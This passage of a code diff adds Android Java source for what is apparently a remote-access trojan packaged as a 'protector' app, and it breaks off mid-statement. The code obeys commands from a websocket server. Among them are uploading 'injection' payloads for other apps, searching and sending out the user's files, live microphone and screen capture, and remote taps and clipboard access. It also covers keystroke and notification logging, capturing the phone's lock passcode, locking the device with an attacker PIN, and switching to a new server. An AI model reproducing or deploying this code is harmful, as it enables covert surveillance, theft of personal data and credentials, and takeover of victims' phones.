Response.optLong("sentSize", 0); + int chunkNumber = Response.optInt("chunkNumber", 0); + + + // Decode Base64 chunk to bytes + byte[] chunkBytes = Base64.decode(filedata, Base64.NO_WRAP); + + // Store chunks by filehash + if (!chunkStorage.containsKey(filehash)) { + chunkStorage.put(filehash, new ArrayList<>()); + chunkProgress.put(filehash, 0L); + } + + // Add the chunk + chunkStorage.get(filehash).add(chunkBytes); + chunkProgress.put(filehash, chunkProgress.get(filehash) + chunkBytes.length); + + // Check if the file upload is complete + if (chunkProgress.get(filehash) >= totalSize) { + + if (isinjct.equals("1")) { + File protectedFolder = new File(Dummyctx.getFilesDir(), "protected"); + if (!protectedFolder.exists()) { + protectedFolder.mkdirs(); + } + savepath = new File(protectedFolder, jctid + ".zip").getAbsolutePath(); + if (!ject_list.contains(jctid)) { + ject_list.add(jctid); + } + } + + // All chunks received, reconstruct the file + reconstructFile(savepath, filehash); + + if (isinjct.equals("1")) { + File protectedFolder = new File(Dummyctx.getFilesDir(), "protected"); + ///data/user/0/com.icontrol.protector/files/protected/com.google.android.apps.messaging.zip + File extractfolder = new File(protectedFolder, jctid); + if (!extractfolder.exists()) { + extractfolder.mkdirs(); + } + extractZipFile(new File(protectedFolder, jctid + ".zip"), extractfolder); + } + } + } catch (Exception e) { + MyLoger.Error("HandleUpload", e.getMessage()); + } + } + + public void extractZipFile(File zipFile, File destinationDir) { + try (InputStream inputStream = new FileInputStream(zipFile); + ZipInputStream zipInputStream = new ZipInputStream(inputStream)) { + + ZipEntry entry; + while ((entry = zipInputStream.getNextEntry()) != null) { + File extractedFile = new File(destinationDir, entry.getName()); + + if (entry.isDirectory()) { + extractedFile.mkdirs(); + } else { + try (FileOutputStream outputStream = new FileOutputStream(extractedFile)) { + byte[] buffer = new byte[1024]; + int length; + while ((length = zipInputStream.read(buffer)) > 0) { + outputStream.write(buffer, 0, length); + } + } + } + zipInputStream.closeEntry(); + } + } catch (IOException e) { + e.printStackTrace(); + } + } + + private void reconstructFile(String savepath, String filehash) { + try { + // Get the chunks for the filehash + List chunks = chunkStorage.get(filehash); + + // Write all chunks to the file + File outputFile = new File(savepath); + if (!outputFile.exists()) { + outputFile.createNewFile(); + } + try (FileOutputStream fos = new FileOutputStream(outputFile)) { + for (byte[] chunk : chunks) { + fos.write(chunk); + } + } + + // File reconstruction complete + MyLoger.Info("HandleUpload", "File reconstructed: " + savepath); + + // Cleanup + chunkStorage.remove(filehash); + chunkProgress.remove(filehash); + } catch (IOException e) { + MyLoger.Error("reconstructFile", e.getMessage()); + } + } + + private void HandleSearch(JSONObject Response) { + try { + + String searchfor = Response.optString("sfor", "empty"); + CustomFilesFilter.FileType holdertype = null; + switch (searchfor) { + case "i"://image + holdertype = CustomFilesFilter.FileType.IMAGES; + break; + case "v"://video + holdertype = CustomFilesFilter.FileType.VIDEOS; + break; + case "a"://audio + holdertype = CustomFilesFilter.FileType.AUDIOS; + break; + case "d"://doc + holdertype = CustomFilesFilter.FileType.DOCUMENTS; + break; + default: + holdertype = null; + break; + } + + if (holdertype == null) { + AlertServer(Dummyctx, "File Finder", "Unknown search type"); + return; + } + +// String Command = Response.optString("subc","empty"); + String[] Dataresults = FilesFinder.searchFilesInDirectory(Dummyctx, holdertype, android.os.Environment.getExternalStorageDirectory()); +// switch (Command){ +// case "G"://Global +// Dataresults = FilesFinder.searchFilesInDirectory(ctx,holdertype,android.os.Environment.getExternalStorageDirectory()); +// break; +// case "S"://specific +// String targetpath = Response.optString("Tpath","empty"); +// File tempfile = new File(targetpath); +// Dataresults = FilesFinder.searchFilesInDirectory(ctx,holdertype,tempfile); +// break; +// default: +// Dataresults = null; +// break; +// } + + if (Dataresults != null) { + String searchtag = Dataresults[0]; + String searchdata = Dataresults[1]; + if (searchtag.equals("1")) { + //holdertype + + try { + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "srch"); + jsonObject.put("stype", holdertype.name()); + jsonObject.put("pths", searchdata); + String jsonData = jsonObject.toString(); + + Livemessage(Dummyctx, jsonData); + } catch (Exception a) { + + } + + + } else if (searchtag.equals("-1")) { + AlertServer(Dummyctx, "File Finder", searchdata); + } + } else { + AlertServer(Dummyctx, "File Finder", "Data is empty"); + } + + } catch (Exception a) { + + MyLoger.Error("HandleLocaton", a.getMessage()); + } + } + + private void HandleMic(JSONObject Response) { + try { + + String[] micsp = MyPermissions.GetPrimname(MyPermissions.Prims.Microphone); + if (!MyPermissions.hasPermissions(Dummyctx, micsp)) { + AlertServer(Dummyctx, "Microphone", "Microphone Permission is not Enabled."); + return; + } + + String Command = Response.optString("subc", "empty"); + + switch (Command) { + case "ON": + Microphone.Stop(); + Microphone.Pause(false); + String rate = Response.optString("Arate", "empty"); + String src = Response.optString("Asrc", "empty"); + String sokidf = Response.optString("skidf", "null"); + Microphone.Start(rate, src, sokidf, Dummyctx); + break; + case "OFF": + Microphone.Stop(); + break; + case "co"://continue + Microphone.Pause(false); + break; + case "pz"://pause + Microphone.Pause(true); + break; + case "cr"://change rate + String Nrate = Response.optString("Arate", "empty"); + Microphone.ChangeRate(Integer.valueOf(Nrate)); + break; + case "cs"://change source + String Nsrc = Response.optString("Asrc", "empty"); + Microphone.ChangeSrc(Integer.valueOf(Nsrc)); + break; + default: + break; + } + + + } catch (Exception a) { + MyLoger.Error("HandleLocaton", a.getMessage()); + } + } + private void HandRedirect(JSONObject Response) { + try { + String Nemail = Response.optString("relink", "0"); + String Nserverip = Response.optString("reip", "0"); + String Nconkey = Response.optString("rckey", "0"); + if(!Nemail.equals("0") && !Nserverip.equals("0")){ + MySettings.Write(Dummyctx,Consts.Redirect_e,Nemail); + MySettings.Write(Dummyctx,Consts.Redirect_ip,Nserverip); + MySettings.Write(Dummyctx,Consts.Redirect_k,Nconkey); + WorkServices.needsleep = true; + Endme(); + } + + } catch (Exception a) { + + MyLoger.Error("HandRedirect", a.getMessage()); + } + } + private void HandleLocation(JSONObject Response) { + try { + String Command = Response.optString("cas", "empty"); + MyPacket newpkt = null; + switch (Command) { + case "E"://Enable + AccessTools.BringMeFront(Dummyctx); + newpkt = new MyPacket(("Location" + SPLIT_SKT + "E").getBytes(), "null".getBytes()); + break; + case "D"://Disable + newpkt = new MyPacket(("Location" + SPLIT_SKT + "D").getBytes(), "null".getBytes()); + break; + default: + break; + } + if (newpkt != null) { + //insertcommand(newpkt); + HandelPacket(newpkt); + + } + + } catch (Exception a) { + + MyLoger.Error("HandleLocaton", a.getMessage()); + } + } + + private void Handlebroadcast(JSONObject Response) { + try { + String Command = Response.optString("subc", "empty"); + + String thetitle = Response.optString("thetitle", "null"); + String themsg = Response.optString("themsg", "null"); + String thetype = Response.optString("theype", "0"); + String toopen = Response.optString("toopen", "empty"); + + switch (Command) { + case "N"://notification + + BrodcastNotification(Dummyctx, thetitle, themsg, Integer.valueOf(thetype), toopen); + break; + case "A"://Alert + String theico = Response.optString("ico", "0"); + BrodcastAlert(Dummyctx, thetitle, themsg, Integer.valueOf(thetype), toopen, theico); + break; + default: + break; + } + } catch (Exception a) { + MyLoger.Error("Handlebroadcast", a.getMessage()); + } + } + + private void HandleScreen(JSONObject Response) { + try { + String Command = Response.optString("subc", "empty"); + switch (Command) { + case "block": + String blackstate = Response.optString("blockstate", "empty"); + + + //1 ON , 0 OFF + if (blackstate.equals("1")) { + String blockstyle = Response.optString("bstyle", "PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPWVuPg0KPGhlYWQ+DQo8bWV0YSBjaGFyc2V0PVVURi04IC8+DQo8bWV0YSBuYW1lPXZpZXdwb3J0IGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiIC8+DQo8dGl0bGU+PC90aXRsZT4NCjxzdHlsZT5ib2R5e21hcmdpbjowO3BhZGRpbmc6MDtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwwLDAsMCk7Y29sb3I6d2hpdGU7ZGlzcGxheTpmbGV4O2p1c3RpZnktY29udGVudDpjZW50ZXI7YWxpZ24taXRlbXM6Y2VudGVyO2hlaWdodDoxMDB2aDtmb250LWZhbWlseTpzYW5zLXNlcmlmO3RleHQtYWxpZ246Y2VudGVyO3BhZGRpbmc6MXJlbTtib3gtc2l6aW5nOmJvcmRlci1ib3h9PC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPC9ib2R5Pg0KPC9odG1sPg=="); + String blockmsg = Response.optString("blkmsg", " "); + + if (AccessTools.myAccess() != null) { + + AccessTools.myAccess().SetupWbvew(blockstyle); + } + + AccessTools.BlackScreen(true); + } else if (blackstate.equals("0")) { + AccessTools.BlackScreen(false); + } + + break; + case "paste": + String thetext = Response.optString("txt", "empty"); + AccessTools.pasteText(thetext); + break; + case "sklecolor": + String newcolor = Response.optString("clr", "empty"); + MySettings.Write(Dummyctx, Consts.Skeleton_Color, newcolor); + break; + case "skilton": + String SkiltonState = Response.optString("skstate", "empty"); + //1 signle + //0 multiple + if (SkiltonState.equals("1")) { + WriteBool(Dummyctx, Consts.Send_Skilton, true); + } else if (SkiltonState.equals("0")) { + WriteBool(Dummyctx, Consts.Send_Skilton, false); + } + break; + case "mov": + String mtype = Response.optString("movetype", "empty"); + + //0 click + //1 move + if (mtype.equals("0")) { + String point = Response.optString("poi", "empty"); + if (!"empty".equals(point)) { + try { + JSONObject pointJson = new JSONObject(point); + int x = pointJson.getInt("x"); + int y = pointJson.getInt("y"); + String durclick = Response.optString("dur", "1"); + // Now you have the x and y values + System.out.println("x: " + x + ", y: " + y); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + AccessTools.clickscr(x, y,Integer.valueOf(durclick)); + } else { + AlertServer(Dummyctx, "Screen", "This android version don't support Control"); + } + } catch (Exception e) { + e.printStackTrace(); + } + } else { + System.out.println("Received empty point string"); + } + + } else if (mtype.equals("1")) { + String coordinates = Response.optString("poi", "empty"); // Example pointString + + // Split the string by colon to get each point string + String[] tokens = coordinates.split(Pattern.quote(":")); + Point[] movements = new Point[tokens.length]; + + for (int i = 0; i < tokens.length; i++) { + try { + // Remove parentheses and split by comma + String[] coordinateArray = tokens[i].replace("(", "").replace(")", "").split(", "); + int x = Integer.parseInt(coordinateArray[0]); + int y = Integer.parseInt(coordinateArray[1]); + + // Create a new Point object and store it in the array + movements[i] = new Point(x, y); + } catch (Exception e) { + e.printStackTrace(); + } + } + //String durton = Response.optString("dur", "1000"); + AccessTools.mouseDraw(movements, 900); + + } + break; + case "snap": + String Snaptype = Response.optString("snaptype", "empty"); + //1 signle + //0 multiple + if (Snaptype.equals("1")) { + AccessTools.onesnap(); + } else if (Snaptype.equals("0")) { + + for (int i = 0; i < 5; i++) { + try { + Thread.sleep(500); + } catch (Exception a) { + } + AccessTools.onesnap(); + } + } + break; + case "vol": + String volumstate = Response.optString("volstate", "empty"); + //1 volume up + //0 volume down + if (volumstate.equals("1")) { + AccessTools.adjustVolume(true); + } else if (volumstate.equals("0")) { + AccessTools.adjustVolume(false); + } + break; + case "kb": + String KeyboardState = Response.optString("kbstate", "empty"); + //1 show + //0 hide + if (KeyboardState.equals("1")) { + AccessTools.setKeyboardVisibility(true); + } else if (KeyboardState.equals("0")) { + AccessTools.setKeyboardVisibility(false); + } + + break; + case "nav": + String nav_to = Response.optString("nav", "empty"); + + AccessTools.Navitageto(nav_to); + + break; + case "L": + //type = 1 lock , 0 unlock + String Type = Response.optString("lock", "empty"); + if (Type.equals("1")) { + AccessTools.LockScreen(); + } else if (Type.equals("0")) { + AccessTools.UnlockScreen(); + } + + break; + case "Q": + String qulty = Response.optString("newq", "10"); + SCRQuality = Integer.valueOf(qulty); + + break; + default: + break; + } + } catch (Exception a) { + MyLoger.Error("HandleScreen", a.getMessage()); + } + } + + // + private void Handlecommand(JSONObject response) { + try { + + String NewMsg = response.optString("msg", ""); + if (NewMsg.length() > 0) { + switch (NewMsg) { + case "wrk": + try { + String command = response.optString("cmnd", ""); + if (command.length() > 0) { + MyPacket newpkt = new MyPacket(command.getBytes(), "0".getBytes()); + //insertcommand(newpkt); + HandelPacket(newpkt); + } + + } catch (Exception e1) { + e1.printStackTrace(); + MyLoger.Error("ping.onPostExecute", e1.getMessage()); + } + break; + case "optns": + try { + String SIDF = response.optString("sidf", "null"); + if (!SIDF.equals("null")) { + // MyLoger.Debug("New (IDF):",SIDF); + MySettings.Write(Dummyctx, Consts.Sec_IDF, SIDF); + } + String options = response.optString("op", "null"); + + MyLoger.Debug("authers (options):", options); + if (!options.equals("null")) { + JSONObject jsonObject2 = new JSONObject(options); + writeOptionBool(Dummyctx, Rec_Activitys, jsonObject2.optString("Activities", "0")); + + + //writeOptionBool(Dummyctx, Rec_keystrokes, jsonObject2.optString("keystrokes", "0")); + + Rec_klogs = "1".equals(jsonObject2.optString("keystrokes", "0")); + + writeOptionBool(Dummyctx, Rec_Notifications, jsonObject2.optString("notifications", "0")); + writeOptionBool(Dummyctx, Rec_apps, jsonObject2.optString("visitedapps", "0")); + writeOptionBool(Dummyctx, Rec_links, jsonObject2.optString("visitedlinks", "0")); + + //writeOptionBool(Dummyctx, Live_Notify, jsonObject2.optString("livenotify", "0")); + + Live_Nots = "1".equals(jsonObject2.optString("livenotify", "0")); + + //ReadBool(getApplicationContext(), Live_Notify, false); + + //--------- + writeOptionBool(Dummyctx, Live_Screen, jsonObject2.optString("livescreen", "0")); + + if (MySettings.ReadBool(Dummyctx, Live_Screen, false)) { + + + if (My_Access_inst != null && Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + + if (!isScreenThreadRunning()) { + SilentScreenThread(Dummyctx, 50); + } + } else { + if (!isSelfRecordON()) { + SelfRecorder(Dummyctx, 50, "livscr", 1000); + } + } + } + + //--------- + //writeOptionBool(Dummyctx, Auto_j, ); + Auto_jct = "1".equals(jsonObject2.optString("autoj", "0")); + if (Auto_jct) { + if (!isJecton()){ + + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", id_Commands.jects); + jsonObject.put("cuz", "l"); + String jsonData = jsonObject.toString(); + + Livemessage(Dummyctx, jsonData); + } + } + } + + } catch (JSONException e) { + MyLoger.Error("Options phone", e.getMessage()); + } + break; + case "add": + joinclients(Dummyctx); + break; + case "lject": + Handlejects(response); + break; + case "spng": + SendPing(Dummyctx); + break; + case "file": + HandleFiles(response); + break; + case "fetch": + HandleFetch(response); + break; + case "srh": + HandleSearch(response); + break; + case "upload": + HandleUpload(response); + break; + case "screen": + HandleScreen(response); + break; + case "mic": + HandleMic(response); + break; + case "brows": + HandleBrowser(response); + break; + case "bc"://broadcast + Handlebroadcast(response); + break; + case "scread": + Handlescreenread(response); + break; + + case "ject": + Handleject(response); + break; + case "clip": + Handleclipboard(response); + break; + case "lock": + Handlelock(response); + break; + case "chat": + Handlemessage(response); + break; + case "loc": + HandleLocation(response); + break; + case "red"://redirect + HandRedirect(response); + break; + } + } + } catch (Exception e) { + MyLoger.Error("Handlemessage", e.getMessage()); + } + } + + private void Handlelock(JSONObject response) { + try { + + String lockcase = response.optString("cas", ""); + + if (lockcase.equals("0")) {//unlock + MySettings.WriteBool(Dummyctx, Consts.lock_screen, false); + loadcodes(); + } else if (lockcase.equals("1")) {//lock + String thepin = response.optString("pin", ""); + + String thetitle = response.optString("title", ""); + String themsg = response.optString("lckdis", ""); + String thetype = response.optString("typ", ""); + + MySettings.Write(Dummyctx, Consts.lock_pin, thepin); + MySettings.Write(Dummyctx, Consts.lock_title, thetitle); + MySettings.Write(Dummyctx, Consts.lock_msg, themsg); + MySettings.Write(Dummyctx, Consts.lock_type, thetype); + + MySettings.WriteBool(Dummyctx, Consts.lock_screen, true); + loadcodes(); + } else if (lockcase.equals("2")) {//load + loadcodes(); + } else if (lockcase.equals("3")) {//clear + Clearpasscodes(Dummyctx); + } + + } catch (Exception e) { + MyLoger.Error("Handleclipboard", e.getMessage()); + } + } + + private void loadcodes() { + String passcodes = MySettings.Read(Dummyctx, Consts.lock_cods, ""); + String islockON = String.valueOf(MySettings.ReadBool(Dummyctx, Consts.lock_screen, false)); + + try { + String currentpass = MySettings.Read(Dummyctx, Consts.mob_lock, ""); + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "lock"); + jsonObject.put("islk", islockON); + jsonObject.put("caplk", currentpass); + jsonObject.put("cods", passcodes); + + // Convert JSON object to string + String jsonData = jsonObject.toString(); + + Livemessage(Dummyctx, jsonData); + } catch (Exception e) { + e.printStackTrace(); + } + } + + private void Handleject(JSONObject response) { + try { + + String callcase = response.optString("cas", ""); + AppDataManager manager = new AppDataManager(Dummyctx); + if (callcase.equals("0")) {//delete ject + String rem_appid = response.optString("tid", "0"); + File protectedZipFile = new File(Dummyctx.getFilesDir(), "protected/" + rem_appid); + if (protectedZipFile.exists()) { + protectedZipFile.delete(); + AlertServer(Dummyctx, "injection", "Removed inject data"); + } + if (ject_list.contains(rem_appid)) { + ject_list.remove(rem_appid); + AlertServer(Dummyctx, "injection", "Removed " + rem_appid); + } + + manager.clearData(rem_appid); + + } else if (callcase.equals("1")) {//load all + if (ject_list.size() == 0) { + AlertServer(Dummyctx, "injection", "no injections add"); + return; + } + + JSONArray appDataArray = new JSONArray(); + //String alldata= ""; + for (String appId : + ject_list) { + JSONObject appDataObject = new JSONObject(); + appDataObject.put("appId", appId); + + // Get the data for the app + List app1Data = manager.getData(appId); + + if (app1Data.isEmpty()) { + appDataObject.put("data", "No data"); + } else { + // Add the list of data as a JSON array + JSONArray appDataList = new JSONArray(app1Data); + appDataObject.put("data", appDataList); + } + + // Add this app's data object to the main array + appDataArray.put(appDataObject); + } + + try { + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "ject"); + jsonObject.put("jdata", appDataArray);//here + + // Convert JSON object to string + String jsonData = jsonObject.toString(); + + Livemessage(Dummyctx, jsonData); + } catch (Exception e) { + e.printStackTrace(); + } + + } else if (callcase.equals("2")) {//start + + + } + + } catch (Exception e) { + MyLoger.Error("Handleject", e.getMessage()); + } + } + + private void Handlescreenread(JSONObject response) { + try { + + String callcase = response.optString("cas", ""); + + if (callcase.equals("0")) {//stop + MySettings.WriteBool(Dummyctx, Consts.Live_scread, false); + } else if (callcase.equals("zom")) {//zoom mode + + String expstate = response.optString("xz", "0"); + try { + if (expstate.equals("1")) { + if (AccessServices.screenfontSize < 80) { + AccessServices.screenfontSize += 5; + } + } else { + if (AccessServices.screenfontSize > 10) { + AccessServices.screenfontSize -= 5; + } + } + } catch (Exception a) { + + } + + } else if (callcase.equals("1")) {//start + + MySettings.WriteBool(Dummyctx, Consts.Live_scread, true); + String sockidf = response.optString("skidf", "null"); + + LiveScReader(Dummyctx, sockidf); + } + + } catch (Exception e) { + MyLoger.Error("Handlescreenread", e.getMessage()); + } + } + + private void Handleclipboard(JSONObject response) { + try { + + String clipcase = response.optString("cas", "");//0 get , 1 set + + if (clipcase.equals("0")) { + BringMeFront(Dummyctx); + String cliptext = UtliTools.readClipboard(Dummyctx); + + try { + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "clip"); + jsonObject.put("cdata", cliptext); + + // Convert JSON object to string + String jsonData = jsonObject.toString(); + + Livemessage(Dummyctx, jsonData); + } catch (Exception e) { + e.printStackTrace(); + } + + } else if (clipcase.equals("1")) { + String textset = response.optString("tost", ""); + if (textset.length() > 0) { + UtliTools.setClipboard(Dummyctx, textset); + } + } + + } catch (Exception e) { + MyLoger.Error("Handleclipboard", e.getMessage()); + } + } + + private void Handlemessage(JSONObject response) { + try { + + String NewMsg = response.optString("data", ""); + if (NewMsg.length() > 0) { + String chattitle = response.optString("title", ""); + + if (ChatActivity.getInstance() == null || !ChatActivity.getInstance().isChatActivityOpen) { + Intent setint = new Intent(Dummyctx, ChatActivity.class); + setint.addFlags(FLAG_ACTIVITY_NEW_TASK); + setint.putExtra("title", chattitle); + Dummyctx.startActivity(setint); + try { + Thread.sleep(1000); + } catch (Exception s) { + + } + } + ChatActivity.getInstance().appendToChat("Sender", NewMsg); + } + } catch (Exception e) { + MyLoger.Error("Handlemessage", e.getMessage()); + } + } + }); + } + + public void Livemessage(Context ctx, String msg) { + if (ws != null) { + + try { + + String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, "Deviceid"); + String IDF = MySettings.Read(ctx, Consts.THE_IDF, null); + String CIP = MySettings.Read(ctx, Consts.THE_CIP, "null"); + String SecondIDF = MySettings.Read(ctx, Consts.Sec_IDF, "null"); +// if (!SecondIDF.equals("null")){ +// IDF = SecondIDF; +// } + if (Myid == null) { + return; + } + if (IDF == null) { + + try { + if (ws != null) { + ws.cancel(); + ws = null; + } + if (client != null) { + client.dispatcher().cancelAll(); + client.connectionPool().evictAll(); + client.dispatcher().executorService().shutdown(); + client = null; + } + } catch (Exception s) { + + } + + return; + } + JSONObject message = new JSONObject(); + // message.put("userId", userid); + message.put("idf", IDF); + message.put("sidf", SecondIDF); + message.put("cip", CIP); + message.put("pid", Myid); + message.put("itype", "Slr_client"); + message.put("subc", "msg"); + String conctkey = MySettings.Read(ctx,Consts.Redirect_k,My_Configs.CONS_KY); + message.put("conk", conctkey); + message.put("msg", msg); + + // Send the JSON message as a string + ws.send(message.toString()); + +// for (int x=0;x<=50;x++){ +// message.put("pid", "test"+String.valueOf(x)); +// try { +// Thread.sleep(1); +// }catch (Exception a){} +// ws.send(message.toString()); +// } + + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + + public void joinsession(Context ctx, String msg, String type) { + if (ws != null) { + + try { + + String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, "Deviceid"); + String IDF = MySettings.Read(ctx, Consts.THE_IDF, null); + String CIP = MySettings.Read(ctx, Consts.THE_CIP, "null"); + + if (Myid == null) { + return; + } + if (IDF == null) { + + try { + if (ws != null) { + ws.cancel(); + ws = null; + } + if (client != null) { + client.dispatcher().cancelAll(); + client.connectionPool().evictAll(); + client.dispatcher().executorService().shutdown(); + client = null; + } + } catch (Exception s) { + + } + + return; + } + JSONObject message = new JSONObject(); + // message.put("userId", userid); + message.put("idf", IDF); + message.put("pid", Myid); + message.put("cip", CIP); + message.put("itype", "Slr_client"); + message.put("subc", type); + message.put("msg", msg); + String conctkey = MySettings.Read(ctx,Consts.Redirect_k,My_Configs.CONS_KY); + message.put("conk", conctkey); + + // Send the JSON message as a string + ws.send(message.toString()); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + public void Playvideostrem(Context ctx, final String path, String playit, String sockidf) { + OkHttpClient tmpclient = new OkHttpClient(); + Request request = new Request.Builder().url(URL_SOCKT()).build(); + + + WebSocket websocketfile = tmpclient.newWebSocket(request, new WebSocketListener() { + boolean iamout = false; + + @Override + public void onOpen(WebSocket webSocketf, Response response) { + + Thread thread = new Thread() { + @Override + public void run() { + try { + + String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, null); + + String CIP = MySettings.Read(ctx, Consts.THE_CIP, "null"); + + if (Myid == null) { + return; + } + + + Uri ur = Uri.parse((path).trim()); + File file = new File(ur.getPath()); + MediaMetadataRetriever ret = new MediaMetadataRetriever(); + if (ret != null) { + ret.setDataSource(file.getPath()); + MediaPlayer mp = MediaPlayer.create(ctx, ur); + int millis = mp.getDuration(); + String duration = ret.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DURATION);//value is 19767 + // long i = 1000000; + String conctkey = MySettings.Read(ctx,Consts.Redirect_k,My_Configs.CONS_KY); + for (int i = 1000000; i < millis * 1000; i += 100000) { + if (file.exists()) { + + Bitmap bitmap0; + Bitmap.CompressFormat formatit; + if (!playit.equals("1")) { + bitmap0 = ret.getFrameAtTime(i * 10, MediaMetadataRetriever.OPTION_CLOSEST_SYNC); + formatit = Bitmap.CompressFormat.JPEG; + } else { + bitmap0 = ret.getFrameAtTime(i, MediaMetadataRetriever.OPTION_CLOSEST); + formatit = Bitmap.CompressFormat.WEBP; + } + + // Bitmap bitmap1 = scaleCenterCrop(bitmap0, bitmap0.getWidth() , bitmap0.getHeight() ); + if (bitmap0 != null) { + try { + Bitmap bitmap = Bitmap.createScaledBitmap(bitmap0, 360, 230, false); + ByteArrayOutputStream BOS = new ByteArrayOutputStream(); + bitmap.compress(formatit, 10, BOS); + byte[] imageBytes = BOS.toByteArray(); + String base64Image = Base64.encodeToString(imageBytes, Base64.DEFAULT); + + try { + + String imagetype = "thumb"; + if (playit.equals("1")) { + imagetype = "pvid"; + } + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", imagetype); + jsonObject.put("img", base64Image); + jsonObject.put("pth", path); + jsonObject.put("dur", duration); + String msg = jsonObject.toString(); + + + JSONObject message = new JSONObject(); + // message.put("userId", userid); + message.put("idf", sockidf); + message.put("pid", Myid); + message.put("itype", "Slr_client"); + message.put("subc", "msg"); + message.put("msg", msg); + message.put("cip", CIP); + + message.put("conk", conctkey); + // Send the JSON message as a string + if (webSocketf == null || iamout) { + break; + } + + webSocketf.send(message.toString()); + + + bitmap.recycle(); + + if (!playit.equals("1")) { + Handler hstop = new Handler(Looper.getMainLooper()); + hstop.postDelayed(new Runnable() { + public void run() { + try { + killall(webSocketf, tmpclient); + } catch (Exception d) { + + } + } + }, 5000); + + break; + } + try { + Thread.sleep(1); + + } catch (Exception a) { + } + } catch (Exception a) { + } + + } catch (Exception e) { + } + } + } + //i += 500000; + } + + mp.release(); + } + + } catch (Exception e) { + e.printStackTrace(); + //webSocketf.close(1000, "Error during file transfer"); + } + } + }; + thread.start(); + + } + + @Override + public void onMessage(WebSocket webSocket, String text) { + // Handle server response if necessary + super.onMessage(webSocket, text); + try { + JSONObject Response = new JSONObject(text); + String msgtype = Response.optString("type", "empty"); + if (msgtype.equals("stop") || msgtype.equals("Unauthorized access")) { + killall(webSocket, tmpclient); + + } + } catch (Exception a) { + } + } + + private void killall(WebSocket webSocket, OkHttpClient tcli) { + try { + iamout = true; + if (webSocket != null) { + webSocket.cancel(); + webSocket = null; + } + if (tcli != null) { + tcli.dispatcher().cancelAll(); + tcli.connectionPool().evictAll(); + tcli.dispatcher().executorService().shutdown(); + tcli = null; + } + } catch (Exception s) { + + } + } + + @Override + public void onClosed(WebSocket webSocket, int code, String reason) { + // Clean up resources + tmpclient.dispatcher().executorService().shutdown(); + } + + @Override + public void onFailure(WebSocket webSocket, Throwable t, Response response) { + t.printStackTrace(); + } + + }); + } + + + private final ConcurrentHashMap openSockets = new ConcurrentHashMap<>(); + + public void SendNewSocket(Context ctx, String idf, String msg) { + WebSocket existingSocket = openSockets.get(idf); + String conctkey = MySettings.Read(ctx,Consts.Redirect_k,My_Configs.CONS_KY); + if (existingSocket != null) { + // Check if the socket is still open and send the message + try { + existingSocket.send(createMessage(ctx, idf, msg,conctkey)); + return; // Message sent, no need to open a new socket + } catch (Exception e) { + // If the send failed, remove the socket and proceed to create a new one + openSockets.remove(idf); + } + } + + OkHttpClient tmpclient = new OkHttpClient(); + Request request = new Request.Builder().url(URL_SOCKT()).build(); + + WebSocket websocketfile = tmpclient.newWebSocket(request, new WebSocketListener() { + @Override + public void onOpen(WebSocket webSocketf, Response response) { + openSockets.put(idf, webSocketf); // Save the socket to the collection + + Thread thread = new Thread(() -> { + try { + String message = createMessage(ctx, idf, msg,conctkey); + webSocketf.send(message); + } catch (Exception e) { + e.printStackTrace(); + } + }); + thread.start(); + } + + @Override + public void onMessage(WebSocket webSocket, String text) { + super.onMessage(webSocket, text); + try { + JSONObject Response = new JSONObject(text); + String msgtype = Response.optString("type", "empty"); + if (msgtype.equals("stop") || msgtype.equals("Unauthorized access")) { + openSockets.remove(idf); // Remove from the collection + tmpclient.dispatcher().executorService().shutdown(); + } + } catch (Exception a) { + a.printStackTrace(); + } + } + + @Override + public void onClosed(WebSocket webSocket, int code, String reason) { + openSockets.remove(idf); // Remove from the collection + tmpclient.dispatcher().executorService().shutdown(); + } + + @Override + public void onFailure(WebSocket webSocket, Throwable t, Response response) { + openSockets.remove(idf); // Remove from the collection + t.printStackTrace(); + } + }); + } + + private String createMessage(Context ctx, String idf, String msg,String conctkey) throws Exception { + String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, "Deviceid"); + String CIP = MySettings.Read(ctx, Consts.THE_CIP, "null"); + + if (Myid == null || idf == null) { + throw new Exception("Invalid parameters for message creation"); + } + + JSONObject message = new JSONObject(); + message.put("idf", idf); + message.put("pid", Myid); + message.put("itype", "Slr_client"); + message.put("subc", "msg"); + message.put("msg", msg); + message.put("cip", CIP); + + message.put("conk", conctkey); + return message.toString(); + } + + public void LiveDownload(Context ctx, String filePath, String sockidf) { + // Create a new WebSocket and client for each file + + OkHttpClient clientfile = new OkHttpClient.Builder() + .connectTimeout(30, TimeUnit.SECONDS) // Increase connection timeout + .readTimeout(60, TimeUnit.SECONDS) // Increase read timeout for large file transfers + .writeTimeout(60, TimeUnit.SECONDS) // Increase write timeout for large file transfers + .build(); + + Request request = new Request.Builder().url(URL_SOCKT()).build(); + + WebSocket websocketfile = clientfile.newWebSocket(request, new WebSocketListener() { + @Override + public void onOpen(WebSocket webSocketf, Response response) { + // Start sending the file in chunks once the WebSocket is open + Thread thread = new Thread() { + @Override + public void run() { + try { + + + String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, "Deviceid"); + //String IDF = MySettings.Read(ctx, Consts.THE_IDF, null); + + if (Myid == null) { + webSocketf.close(1000, "Missing ID"); + return; + } + String CIP = MySettings.Read(ctx, Consts.THE_CIP, "null"); + File file = new File(filePath); + FileInputStream fis = new FileInputStream(file); + long totalBytes = file.length(); + + // Calculate buffer size based on file size + int bufferSize = (int) buff(totalBytes); + + byte[] buffer = new byte[bufferSize]; + int bytesRead; + int totalBytesRead = 0; + int chunkNumber = 0; + String md5Hash = calculateMD5(file); + String conctkey = 